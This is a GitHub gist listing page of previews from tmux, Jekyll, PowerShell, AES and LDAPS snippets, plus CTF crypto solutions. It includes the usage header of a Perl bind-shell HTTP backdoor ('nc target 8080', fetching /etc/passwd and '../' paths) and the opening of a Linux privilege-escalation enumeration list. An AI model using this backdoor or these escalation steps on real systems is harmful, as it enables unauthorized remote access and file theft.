Skip to content

Instantly share code, notes, and snippets.

View mpgn's full-sized avatar
🕹️
Impose ta chance, serre ton bonheur et va vers ton risque.

mpgn

🕹️
Impose ta chance, serre ton bonheur et va vers ton risque.
View GitHub Profile
@simme
simme / Install_tmux
Created October 19, 2011 07:55
Install and configure tmux on Mac OS X
# First install tmux
brew install tmux
# For mouse support (for switching panes and windows)
# Only needed if you are using Terminal.app (iTerm has mouse support)
Install http://www.culater.net/software/SIMBL/SIMBL.php
Then install https://bitheap.org/mouseterm/
# More on mouse support http://floriancrouzat.net/2010/07/run-tmux-with-mouse-support-in-mac-os-x-terminal-app/
@fakessh
fakessh / bindshellhttpdbackdoor.pl
Created September 19, 2012 19:34
bind shell httpd backdoor
#!usr/bin/perl -w
# httpdbackdoor.pl Usage:
# 1. bind shell:
# nc target 8080
# ->SHELLPASSWORD{ENTER}{ENTER}
# 2. download files
# http://target:8080/file?/etc/passwd
# or
# http://target:8080/file?../some/file
@betul
betul / Bootstrap-Timeline.markdown
Created January 31, 2014 10:48
A Pen by betul.
@magicznyleszek
magicznyleszek / jekyll-and-liquid.md
Last active January 25, 2025 20:12
Jekyll & Liquid Cheatsheet

Jekyll & Liquid Cheatsheet

A list of the most common functionalities in Jekyll (Liquid). You can use Jekyll with GitHub Pages, just make sure you are using the proper version.

Running

Running a local server for testing purposes:

@sckalath
sckalath / linux_privesc
Last active April 14, 2025 15:10
Linux Privilege Escalation Techniques
// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs
@altrive
altrive / ToastNotification_Windows10.ps1
Last active May 12, 2024 09:34
Windows 10 toast notification sample
$ErrorActionPreference = "Stop"
$notificationTitle = "Notification: " + [DateTime]::Now.ToShortTimeString()
[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] > $null
$template = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent([Windows.UI.Notifications.ToastTemplateType]::ToastText01)
#Convert to .NET type for XML manipuration
$toastXml = [xml] $template.GetXml()
$toastXml.GetElementsByTagName("text").AppendChild($toastXml.CreateTextNode($notificationTitle)) > $null
@HoLyVieR
HoLyVieR / hmac-crc.py
Last active December 24, 2019 07:23
HMAC-CRC Solution
#!/usr/bin/env python
"""
Utility fonction to convert from one form to an other
"""
def to_bits(length, N):
return [int(i) for i in bin(N)[2:].zfill(length)]
def from_bits(N):
return int("".join(str(i) for i in N), 2)
@elliptic-shiho
elliptic-shiho / solve.py
Created March 14, 2016 00:14
0CTF 2016 Crypto 2pt: RSA? Writeup
from scryptos import *
p1 = 32581479300404876772405716877547
p2 = 27038194053540661979045656526063
p3 = 26440615366395242196516853423447
n = p1*p2*p3
e = 3
c = int(open("flag.enc", "rb").read().encode("hex"), 16)
@lopes
lopes / aes-cbc.py
Last active May 7, 2025 01:11
Simple Python example of AES in CBC mode. #python #cryptography #aes #cbc #poc
#!/usr/bin/env python3
#
# This is a simple script to encrypt a message using AES
# with CBC mode in Python 3.
# Before running it, you must install pycryptodome:
#
# $ python -m pip install PyCryptodome
#
# Author.: José Lopes
# Date...: 2019-06-14
@magnetikonline
magnetikonline / README.md
Last active March 28, 2025 13:35
Enable LDAP over SSL (LDAPS) for Microsoft Active Directory servers.

Enable LDAP over SSL (LDAPS) for Microsoft Active Directory servers

Tip

Microsoft active directory servers by default provide LDAP connections over unencrypted connections (boo!).

The steps below will create a new self signed certificate appropriate for use with and thus enabling LDAPS for an AD server. Of course the "self-signed" portion of this guide can be swapped out with a real vendor purchased certificate if required.

Steps have been tested successfully with Windows Server 2012R2, but should work with Windows Server 2008 without modification. Requires a working OpenSSL install (ideally Linux/OSX) and (obviously) a Windows Active Directory server.